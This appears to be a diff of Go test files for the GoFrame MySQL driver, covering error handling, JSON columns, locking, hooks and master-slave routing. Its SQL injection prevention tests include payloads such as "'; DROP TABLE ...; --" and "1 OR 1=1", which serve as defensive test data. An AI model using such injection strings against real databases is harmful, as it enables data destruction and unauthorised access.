func Test_Model_Insert_EmptyMap(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(g.Map{}).Insert()
t.AssertNE(err, nil)
})
}
// Test_Model_Insert_EmptySlice tests Insert with empty slice
func Test_Model_Insert_EmptySlice(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(g.Slice{}).Insert()
t.AssertNE(err, nil)
})
}
// Test_Model_Update_NilData tests Update with nil data
func Test_Model_Update_NilData(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(nil).Where("id", 1).Update()
t.AssertNE(err, nil)
})
}
// Test_Model_Update_EmptyData tests Update with empty data
func Test_Model_Update_EmptyData(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(g.Map{}).Where("id", 1).Update()
t.AssertNE(err, nil)
})
}
// Test_Model_Update_NoWhere tests Update without WHERE clause is rejected by framework
func Test_Model_Update_NoWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Framework safety check: Update without WHERE should return error
_, err := db.Model(table).Data(g.Map{"nickname": "updated"}).Update()
t.AssertNE(err, nil)
})
}
// Test_Model_Delete_NoWhere tests Delete without WHERE clause is rejected by framework
func Test_Model_Delete_NoWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Framework safety check: Delete without WHERE should return error
_, err := db.Model(table).Delete()
t.AssertNE(err, nil)
})
}
// Test_Model_Scan_NilPointer tests Scan with nil pointer
func Test_Model_Scan_NilPointer(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
err := db.Model(table).Where("id", 1).Scan(nil)
t.AssertNE(err, nil)
})
}
// Test_Model_Scan_InvalidPointer tests Scan with invalid pointer type
func Test_Model_Scan_InvalidPointer(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var str string
err := db.Model(table).Where("id", 1).Scan(&str)
t.AssertNE(err, nil)
})
}
// Test_Model_Scan_EmptyResult tests Scan with empty result
func Test_Model_Scan_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
}
// Scan initialized struct with empty result returns sql.ErrNoRows
gtest.C(t, func(t *gtest.T) {
var user User
err := db.Model(table).Where("id > ?", 1000).Scan(&user)
t.AssertNE(err, nil)
})
// Scan nil pointer with empty result returns nil error
gtest.C(t, func(t *gtest.T) {
var user *User
err := db.Model(table).Where("id > ?", 1000).Scan(&user)
t.AssertNil(err)
t.Assert(user, nil)
})
}
// Test_Model_Where_InvalidOperator tests Where with invalid operator
func Test_Model_Where_InvalidOperator(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Invalid SQL should cause error at query time
_, err := db.Model(table).Where("id INVALID_OP ?", 1).All()
t.AssertNE(err, nil)
})
}
// Test_Model_Where_EmptyString tests Where with empty string
func Test_Model_Where_EmptyString(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Where("").All()
t.AssertNil(err)
t.Assert(len(result), TableSize) // Empty WHERE returns all
})
}
// Test_Model_Fields_InvalidField tests Fields with non-existent field
func Test_Model_Fields_InvalidField(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Fields("non_existent_field").All()
t.AssertNE(err, nil)
})
}
// Test_Model_Fields_Empty tests Fields with empty string
// Regression test for #4697: Fields("") should handle empty string gracefully
// https://github.com/gogf/gf/issues/4697
func Test_Model_Fields_Empty(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, err := db.Model(table).Fields("").Limit(1).All()
t.AssertNil(err)
t.AssertLE(len(result), 1)
})
}
// Test_Model_Order_InvalidSyntax tests Order with invalid syntax
func Test_Model_Order_InvalidSyntax(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Invalid ORDER BY syntax
_, err := db.Model(table).Order("id INVALID").All()
t.AssertNE(err, nil)
})
}
// Test_Model_Group_UnknownColumn tests Group with non-existent column
func Test_Model_Group_UnknownColumn(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Group("non_existent_field").All()
t.AssertNE(err, nil)
})
}
// Test_Model_TableNotExist tests querying non-existent table
func Test_Model_TableNotExist(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
_, err := db.Model("non_existent_table_xyz").All()
t.AssertNE(err, nil)
})
}
// Test_Model_InvalidTableName tests invalid table name
func Test_Model_InvalidTableName(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
// Empty table name
_, err := db.Model("").All()
t.AssertNE(err, nil)
})
}
// Test_Model_SQLInjection_Where tests SQL injection prevention in Where
func Test_Model_SQLInjection_Where(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Attempt SQL injection through string column parameter.
// Using string column `nickname` instead of int column `id`,
// because MySQL coerces "1 OR 1=1" to 1 for int columns.
maliciousInput := "1 OR 1=1"
result, err := db.Model(table).Where("nickname = ?", maliciousInput).All()
t.AssertNil(err)
t.Assert(len(result), 0) // Should not return all records
})
gtest.C(t, func(t *gtest.T) {
// Attempt SQL injection with quotes, using string column to avoid
// MySQL implicit int conversion (which would coerce "1'..." to 1)
maliciousInput := "1'; DROP TABLE " + table + "; --"
result, err := db.Model(table).Where("nickname = ?", maliciousInput).All()
t.AssertNil(err)
t.Assert(len(result), 0)
// Table should still exist
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, TableSize)
})
}
// Test_Model_SQLInjection_Insert tests SQL injection prevention in Insert
func Test_Model_SQLInjection_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
maliciousData := g.Map{
"id": 1,
"passport": "'; DROP TABLE " + table + "; --",
"password": "pwd",
"nickname": "test",
}
_, err := db.Model(table).Data(maliciousData).Insert()
t.AssertNil(err)
// Verify data was inserted correctly and table still exists
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.AssertNE(one, nil)
t.Assert(one["passport"].String(), "'; DROP TABLE "+table+"; --")
})
}
// Test_Model_SQLInjection_Update tests SQL injection prevention in Update
func Test_Model_SQLInjection_Update(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Use shorter malicious string to fit in nickname column
maliciousData := g.Map{
"nickname": "'; DELETE FROM users; --",
}
_, err := db.Model(table).Data(maliciousData).Where("id", 1).Update()
t.AssertNil(err)
// Verify only one record was updated (parameterized query prevents injection)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"].String(), "'; DELETE FROM users; --")
// Other records should still exist (injection was prevented)
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, TableSize)
})
}
// Test_Model_Context_Cancelled tests query with cancelled context
func Test_Model_Context_Cancelled(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
ctx, cancel := context.WithCancel(context.Background())
cancel() // Cancel immediately
_, err := db.Model(table).Ctx(ctx).All()
t.AssertNE(err, nil)
t.Assert(gerror.Is(err, context.Canceled), true)
})
}
// Test_Model_Value_EmptyResult tests Value with empty result
func Test_Model_Value_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
value, err := db.Model(table).Where("id > ?", 1000).Value()
t.AssertNil(err)
t.Assert(value.IsEmpty(), true)
})
}
// Test_Model_Array_EmptyResult tests Array with empty result
func Test_Model_Array_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
array, err := db.Model(table).Where("id > ?", 1000).Array()
t.AssertNil(err)
t.Assert(len(array), 0)
})
}
// Test_Model_Count_InvalidTable tests Count on invalid table
func Test_Model_Count_InvalidTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
_, err := db.Model("non_existent_table").Count()
t.AssertNE(err, nil)
})
}
// Test_Model_Max_EmptyResult tests Max with empty result
func Test_Model_Max_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
value, err := db.Model(table).Where("id > ?", 1000).Max("id")
t.AssertNil(err)
t.Assert(value, 0) // Returns 0 for empty result
})
}
// Test_Model_Min_EmptyResult tests Min with empty result
func Test_Model_Min_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
value, err := db.Model(table).Where("id > ?", 1000).Min("id")
t.AssertNil(err)
t.Assert(value, 0) // Returns 0 for empty result
})
}
// Test_Model_Avg_EmptyResult tests Avg with empty result
func Test_Model_Avg_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
value, err := db.Model(table).Where("id > ?", 1000).Avg("id")
t.AssertNil(err)
t.Assert(value, 0) // Returns 0 for empty result
})
}
// Test_Model_Sum_EmptyResult tests Sum with empty result
func Test_Model_Sum_EmptyResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
value, err := db.Model(table).Where("id > ?", 1000).Sum("id")
t.AssertNil(err)
t.Assert(value, 0) // Returns 0 for empty result
})
}
// Test_Model_One_NilResult tests One returning nil
func Test_Model_One_NilResult(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
one, err := db.Model(table).Where("id > ?", 1000).One()
t.AssertNil(err)
t.Assert(one, nil)
})
}
// Test_TX_Rollback_AfterError tests transaction rollback after error
func Test_TX_Rollback_AfterError(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
// Insert valid record
_, err := tx.Model(table).Data(g.Map{
"id": 1,
"passport": "pass1",
"password": "pwd1",
"nickname": "name1",
}).Insert()
if err != nil {
return err
}
// Insert duplicate id (should fail)
_, err = tx.Model(table).Data(g.Map{
"id": 1, // Duplicate
"passport": "pass2",
"password": "pwd2",
"nickname": "name2",
}).Insert()
return err // Return error to trigger rollback
})
t.AssertNE(err, nil)
// Verify rollback - table should be empty
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}
// Test_Model_Insert_DuplicateKey tests handling of duplicate key error
func Test_Model_Insert_DuplicateKey(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
data := g.Map{
"id": 1,
"passport": "pass",
"password": "pwd",
"nickname": "name",
}
// First insert should succeed
_, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
// Second insert with same id should fail
_, err = db.Model(table).Data(data).Insert()
t.AssertNE(err, nil)
})
}
// Test_Model_All_InvalidConnection tests query with invalid connection
func Test_Model_All_InvalidConnection(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
if dbInvalid == nil {
t.Skip("dbInvalid not configured")
}
_, err := dbInvalid.Model("test_table").All()
t.AssertNE(err, nil)
})
}

View File

@ -134,96 +134,3 @@ func Test_Model_Hook_Delete(t *testing.T) {
}
})
}
// Test_Model_Hook_Multiple tests multiple hooks execution order
func Test_Model_Hook_Multiple(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var execOrder []string
m := db.Model(table).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
execOrder = append(execOrder, "hook1_before")
result, err = in.Next(ctx)
execOrder = append(execOrder, "hook1_after")
return
},
}).Hook(gdb.HookHandler{
Select: func(ctx context.Context, in *gdb.HookSelectInput) (result gdb.Result, err error) {
execOrder = append(execOrder, "hook2_before")
result, err = in.Next(ctx)
execOrder = append(execOrder, "hook2_after")
return
},
})
_, err := m.Where("id", 1).One()
t.AssertNil(err)
// Verify only the last registered hook executes (Hook is override, not chain)
t.Assert(len(execOrder), 2)
t.Assert(execOrder, g.Slice{"hook2_before", "hook2_after"})
})
}
// Test_Model_Hook_Error_Abort tests hook returning error aborts operation
func Test_Model_Hook_Error_Abort(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Insert: func(ctx context.Context, in *gdb.HookInsertInput) (result sql.Result, err error) {
// Return error to abort insert
return nil, fmt.Errorf("hook aborted insert")
},
})
_, err := m.Insert(g.Map{
"passport": "test_abort",
"password": "pass",
"nickname": "name",
})
t.AssertNE(err, nil)
t.Assert(err.Error(), "hook aborted insert")
// Verify record was not inserted
count, err := db.Model(table).Where("passport", "test_abort").Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}
// Test_Model_Hook_Modify_Data tests hook modifying data before insert
func Test_Model_Hook_Modify_Data(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
m := db.Model(table).Hook(gdb.HookHandler{
Insert: func(ctx context.Context, in *gdb.HookInsertInput) (result sql.Result, err error) {
// Modify all data items
for i := range in.Data {
in.Data[i]["password"] = "encrypted_" + fmt.Sprint(in.Data[i]["password"])
in.Data[i]["nickname"] = "verified_" + fmt.Sprint(in.Data[i]["nickname"])
}
return in.Next(ctx)
},
})
_, err := m.Insert(g.Map{
"passport": "test_user",
"password": "plain123",
"nickname": "john",
})
t.AssertNil(err)
// Verify data was modified by hook
one, err := db.Model(table).Where("passport", "test_user").One()
t.AssertNil(err)
t.Assert(one["password"].String(), "encrypted_plain123")
t.Assert(one["nickname"].String(), "verified_john")
})
}

View File

@ -1,394 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"context"
"fmt"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
)
func createJSONTable(table ...string) string {
var name string
if len(table) > 0 {
name = table[0]
} else {
name = fmt.Sprintf(`json_table_%d`, gtime.TimestampNano())
}
dropTable(name)
if _, err := db.Exec(ctx, fmt.Sprintf(`
CREATE TABLE %s (
id int(10) unsigned NOT NULL AUTO_INCREMENT,
name varchar(45) NULL,
config json NULL,
metadata json NULL,
PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
`, name)); err != nil {
gtest.Fatal(err)
}
return name
}
func Test_JSON_Insert_Map(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
data := g.Map{
"name": "user1",
"config": g.Map{
"theme": "dark",
"lang": "zh-CN",
},
"metadata": g.Map{
"tags": g.Slice{"admin", "developer"},
"level": 5,
},
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.LastInsertId()
t.Assert(n, 1)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one["name"], "user1")
t.AssertNE(one["config"], nil)
t.AssertNE(one["metadata"], nil)
})
}
func Test_JSON_Insert_String(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
data := g.Map{
"name": "user2",
"config": `{"theme":"light","lang":"en-US"}`,
"metadata": `{"tags":["user"],"level":1}`,
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.LastInsertId()
t.Assert(n, 1)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one["name"], "user2")
t.AssertNE(one["config"], nil)
t.AssertNE(one["metadata"], nil)
})
}
func Test_JSON_Insert_Null(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
data := g.Map{
"name": "user3",
"config": nil,
"metadata": nil,
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.LastInsertId()
t.Assert(n, 1)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one["name"], "user3")
t.Assert(one["config"], nil)
t.Assert(one["metadata"], nil)
})
}
func Test_JSON_Update(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert initial data
_, err := db.Model(table).Data(g.Map{
"name": "user1",
"config": g.Map{
"theme": "dark",
},
}).Insert()
t.AssertNil(err)
// Update JSON column
result, err := db.Model(table).Data(g.Map{
"config": g.Map{
"theme": "light",
"lang": "en-US",
},
}).WherePri(1).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.AssertNE(one["config"], nil)
})
}
func Test_JSON_Extract_Where(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert test data
data := g.Slice{
g.Map{
"name": "user1",
"config": g.Map{
"theme": "dark",
"lang": "zh-CN",
},
},
g.Map{
"name": "user2",
"config": g.Map{
"theme": "light",
"lang": "en-US",
},
},
g.Map{
"name": "user3",
"config": g.Map{
"theme": "dark",
"lang": "en-US",
},
},
}
_, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
// Query by JSON field using JSON_EXTRACT
all, err := db.Model(table).Where("JSON_EXTRACT(config, '$.theme') = ?", "dark").All()
t.AssertNil(err)
t.Assert(len(all), 2)
all, err = db.Model(table).Where("JSON_EXTRACT(config, '$.lang') = ?", "en-US").All()
t.AssertNil(err)
t.Assert(len(all), 2)
})
}
func Test_JSON_Extract_Select(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert test data
_, err := db.Model(table).Data(g.Map{
"name": "user1",
"config": g.Map{
"theme": "dark",
"lang": "zh-CN",
},
"metadata": g.Map{
"level": 5,
},
}).Insert()
t.AssertNil(err)
// Select with JSON_EXTRACT
one, err := db.Model(table).Fields("name, JSON_EXTRACT(config, '$.theme') as theme, JSON_EXTRACT(metadata, '$.level') as level").WherePri(1).One()
t.AssertNil(err)
t.Assert(one["name"], "user1")
t.AssertNE(one["theme"], nil)
t.AssertNE(one["level"], nil)
})
}
func Test_JSON_Array_Query(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert data with JSON array
data := g.Slice{
g.Map{
"name": "user1",
"metadata": g.Map{
"tags": g.Slice{"admin", "developer"},
},
},
g.Map{
"name": "user2",
"metadata": g.Map{
"tags": g.Slice{"user"},
},
},
g.Map{
"name": "user3",
"metadata": g.Map{
"tags": g.Slice{"admin", "user"},
},
},
}
_, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
// Query by JSON array contains
all, err := db.Model(table).Where("JSON_CONTAINS(metadata, ?, '$.tags')", `"admin"`).All()
t.AssertNil(err)
t.Assert(len(all), 2)
})
}
func Test_JSON_Batch_Insert(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
data := g.Slice{
g.Map{
"name": "user1",
"config": g.Map{
"theme": "dark",
},
},
g.Map{
"name": "user2",
"config": g.Map{
"theme": "light",
},
},
g.Map{
"name": "user3",
"config": nil,
},
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 3)
all, err := db.Model(table).All()
t.AssertNil(err)
t.Assert(len(all), 3)
})
}
func Test_JSON_Scan_To_Struct(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
type Config struct {
Theme string `json:"theme"`
Lang string `json:"lang"`
}
type User struct {
Id int
Name string
Config *Config
}
gtest.C(t, func(t *gtest.T) {
// Insert data
_, err := db.Model(table).Data(g.Map{
"name": "user1",
"config": g.Map{
"theme": "dark",
"lang": "zh-CN",
},
}).Insert()
t.AssertNil(err)
// Scan to struct
var user User
err = db.Model(table).WherePri(1).Scan(&user)
t.AssertNil(err)
t.Assert(user.Name, "user1")
t.AssertNE(user.Config, nil)
if user.Config != nil {
t.Assert(user.Config.Theme, "dark")
t.Assert(user.Config.Lang, "zh-CN")
}
})
}
func Test_JSON_Complex_Structure(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert complex nested JSON
data := g.Map{
"name": "user1",
"config": g.Map{
"ui": g.Map{
"theme": "dark",
"fontSize": g.Map{
"base": 14,
"code": 12,
},
},
"editor": g.Map{
"tabSize": 4,
"wordWrap": true,
},
},
}
result, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
n, _ := result.LastInsertId()
t.Assert(n, 1)
// Query nested JSON path
one, err := db.Model(table).Fields("JSON_EXTRACT(config, '$.ui.theme') as theme, JSON_EXTRACT(config, '$.ui.fontSize.base') as base_font").WherePri(1).One()
t.AssertNil(err)
t.AssertNE(one["theme"], nil)
t.AssertNE(one["base_font"], nil)
})
}
func Test_JSON_Transaction(t *testing.T) {
table := createJSONTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
// Insert in transaction
_, err := tx.Model(table).Ctx(ctx).Data(g.Map{
"name": "user1",
"config": g.Map{
"theme": "dark",
},
}).Insert()
if err != nil {
return err
}
// Update in transaction
_, err = tx.Model(table).Ctx(ctx).Data(g.Map{
"config": g.Map{
"theme": "light",
},
}).WherePri(1).Update()
return err
})
t.AssertNil(err)
// Verify data
one, err := db.Model(table).WherePri(1).One()
t.AssertNil(err)
t.Assert(one["name"], "user1")
t.AssertNE(one["config"], nil)
})
}

View File

@ -1,228 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"context"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Model_Lock tests the Lock method with custom lock clause
func Test_Model_Lock(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test basic Lock with FOR UPDATE
one, err := db.Model(table).Lock("FOR UPDATE").Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["id"], 1)
// Test Lock with legacy LOCK IN SHARE MODE (MySQL 5.7+ compatible)
one, err = db.Model(table).Lock("LOCK IN SHARE MODE").Where("id", 3).One()
t.AssertNil(err)
t.Assert(one["id"], 3)
// Test Lock with predefined constants
one, err = db.Model(table).Lock(gdb.LockForUpdate).Where("id", 4).One()
t.AssertNil(err)
t.Assert(one["id"], 4)
})
}
// Test_Model_LockUpdate tests the LockUpdate convenience method
func Test_Model_LockUpdate(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test LockUpdate is equivalent to Lock("FOR UPDATE")
one, err := db.Model(table).LockUpdate().Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["id"], 1)
t.Assert(one["passport"], "user_1")
// Test LockUpdate with All()
all, err := db.Model(table).LockUpdate().Where("id<?", 4).Order("id").All()
t.AssertNil(err)
t.Assert(len(all), 3)
t.Assert(all[0]["id"], 1)
t.Assert(all[2]["id"], 3)
// Test LockUpdate with Count()
count, err := db.Model(table).LockUpdate().Where("id>?", 5).Count()
t.AssertNil(err)
t.Assert(count, 5)
})
}
// Test_Model_LockUpdateSkipLocked tests the LockUpdateSkipLocked convenience method
// Note: SKIP LOCKED requires MySQL 8.0+, skipped for compatibility
// func Test_Model_LockUpdateSkipLocked(t *testing.T) {
// table := createInitTable()
// defer dropTable(table)
//
// gtest.C(t, func(t *gtest.T) {
// // Test LockUpdateSkipLocked basic usage
// one, err := db.Model(table).LockUpdateSkipLocked().Where("id", 1).One()
// t.AssertNil(err)
// t.Assert(one["id"], 1)
//
// // Test LockUpdateSkipLocked with All()
// all, err := db.Model(table).LockUpdateSkipLocked().Where("id>?", 7).Order("id").All()
// t.AssertNil(err)
// t.Assert(len(all), 3)
// })
// }
// Test_Model_LockShared tests the LockShared convenience method
func Test_Model_LockShared(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test LockShared is equivalent to Lock("LOCK IN SHARE MODE")
one, err := db.Model(table).LockShared().Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["id"], 1)
// Test LockShared with All()
all, err := db.Model(table).LockShared().Where("id<=?", 5).Order("id").All()
t.AssertNil(err)
t.Assert(len(all), 5)
t.Assert(all[0]["id"], 1)
t.Assert(all[4]["id"], 5)
})
}
// Test_Model_Lock_WithTransaction tests Lock methods within transaction
func Test_Model_Lock_WithTransaction(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
// Lock row for update in transaction
one, err := tx.Model(table).LockUpdate().Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["id"], 1)
// Update the locked row
_, err = tx.Model(table).Data(g.Map{"nickname": "updated_name"}).Where("id", 1).Update()
t.AssertNil(err)
// Verify update
updated, err := tx.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(updated["nickname"], "updated_name")
return nil
})
t.AssertNil(err)
// Verify transaction committed successfully
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "updated_name")
})
}
// Test_Model_Lock_ReleaseAfterCommit tests lock is released after transaction commit
func Test_Model_Lock_ReleaseAfterCommit(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Start transaction and lock a row
tx, err := db.Begin(ctx)
t.AssertNil(err)
one, err := tx.Model(table).LockUpdate().Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["id"], 1)
// Update within transaction
_, err = tx.Model(table).Data(g.Map{"nickname": "tx_update"}).Where("id", 1).Update()
t.AssertNil(err)
// Commit transaction - this should release the lock
err = tx.Commit()
t.AssertNil(err)
// Another query should succeed without blocking
one, err = db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "tx_update")
})
}
// Test_Model_Lock_ReleaseAfterRollback tests lock is released after transaction rollback
func Test_Model_Lock_ReleaseAfterRollback(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Start transaction and lock a row
tx, err := db.Begin(ctx)
t.AssertNil(err)
one, err := tx.Model(table).LockUpdate().Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["id"], 1)
// Update within transaction
_, err = tx.Model(table).Data(g.Map{"nickname": "rollback_update"}).Where("id", 1).Update()
t.AssertNil(err)
// Rollback transaction - this should release the lock and discard changes
err = tx.Rollback()
t.AssertNil(err)
// Verify original value is preserved
one, err = db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1")
})
}
// Test_Model_Lock_ChainedMethods tests Lock with other chained methods
func Test_Model_Lock_ChainedMethods(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Lock with Fields
one, err := db.Model(table).Fields("id,passport").LockUpdate().Where("id", 1).One()
t.AssertNil(err)
t.Assert(len(one), 2)
t.Assert(one["id"], 1)
t.Assert(one["passport"], "user_1")
// Lock with Order and Limit
all, err := db.Model(table).LockShared().Where("id>?", 5).Order("id desc").Limit(3).All()
t.AssertNil(err)
t.Assert(len(all), 3)
t.Assert(all[0]["id"], 10)
t.Assert(all[2]["id"], 8)
// Lock with Group and Having
all, err = db.Model(table).Fields("LEFT(passport,4) as prefix, COUNT(*) as cnt").
LockUpdate().
Group("prefix").
Having("cnt>?", 0).
Order("prefix").
All()
t.AssertNil(err)
t.Assert(len(all), 1)
t.Assert(all[0]["prefix"], "user")
t.Assert(all[0]["cnt"], 10)
})
}

View File

@ -7,9 +7,7 @@
package mysql_test
import (
"context"
"fmt"
"sync"
"testing"
"github.com/gogf/gf/v2/container/garray"
@ -100,225 +98,3 @@ func Test_Master_Slave(t *testing.T) {
t.Assert(count, int64(TableSize))
})
}
// Test_Master_Slave_Concurrent_ReadWrite tests concurrent read/write routing
func Test_Master_Slave_Concurrent_ReadWrite(t *testing.T) {
var err error
gtest.C(t, func(t *gtest.T) {
_, err = db.Exec(ctx, "CREATE DATABASE IF NOT EXISTS `master` CHARACTER SET UTF8")
t.AssertNil(err)
_, err = db.Exec(ctx, "CREATE DATABASE IF NOT EXISTS `slave` CHARACTER SET UTF8")
t.AssertNil(err)
})
defer func() {
_, _ = db.Exec(ctx, "DROP DATABASE `master`")
_, _ = db.Exec(ctx, "DROP DATABASE `slave`")
}()
var (
configKey = guid.S()
configGroup = gdb.ConfigGroup{
gdb.ConfigNode{
Host: "127.0.0.1",
Port: "3306",
User: "root",
Pass: "12345678",
Name: "master",
Type: "mysql",
Role: "master",
Weight: 100,
},
gdb.ConfigNode{
Host: "127.0.0.1",
Port: "3306",
User: "root",
Pass: "12345678",
Name: "slave",
Type: "mysql",
Role: "slave",
Weight: 100,
},
}
)
gdb.SetConfigGroup(configKey, configGroup)
masterSlaveDB := g.DB(configKey)
gtest.C(t, func(t *gtest.T) {
table := "table_" + guid.S()
createTableWithDb(masterSlaveDB.Schema("master"), table)
createTableWithDb(masterSlaveDB.Schema("slave"), table)
defer dropTableWithDb(masterSlaveDB.Schema("master"), table)
